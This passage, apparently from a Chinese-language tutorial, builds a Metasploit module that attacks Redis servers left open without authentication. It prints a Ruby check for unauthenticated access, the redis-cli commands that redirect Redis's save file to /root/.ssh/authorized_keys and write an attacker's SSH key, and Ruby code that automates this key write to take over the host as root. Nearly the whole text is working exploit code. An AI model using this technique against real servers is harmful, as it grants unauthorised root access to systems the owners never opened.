if (info_data = redis_command('INFO')) && /redis_version:(?<redis_version>\S+)/ =~ info_data print_warning ('The Redis is unauthorized') else print_error ('The Redis is not unauthorized') return end
SSH公钥写入
这是手动执行的命令,需要写入ssh公钥文件内容,才能获取目标系统权限。
1 2 3 4
127.0.0.1:6379> config set dir /root/.ssh/ 127.0.0.1:6379> config set dbfilename authorized_keys 127.0.0.1:6379> set x "\n\n\nssh-rsa xxxxxx root@kali\n\n\n" 127.0.0.1:6379> save
如果每次进行ssh公钥查看,再copy,属实麻烦。所以在模块头部添加文件选项。
1 2 3 4 5
register_options( [ Opt::RPORT(6379), OptPath.new('SSHPUB', [ true, 'The SSH public key location (absolute path)', '/root/.ssh/id_rsa.pub' ]) ]
定义ssh公钥写入方法,其中authorized_key参数为ssh公钥文件,读取后写入。
1 2 3 4 5 6 7 8
defsshpub redis_command('CONFIG', 'SET', 'dir', '/root/.ssh/') redis_command('CONFIG', 'SET', 'dbfilename', 'authorized_keys') authorized_key = "\n\n\n" + File.read("#{datastore['SSHPUB']}") + "\n\n\n" redis_command('SET', 'x', authorized_key) redis_command('SAVE') print_good ('SSH public key was written successfully') end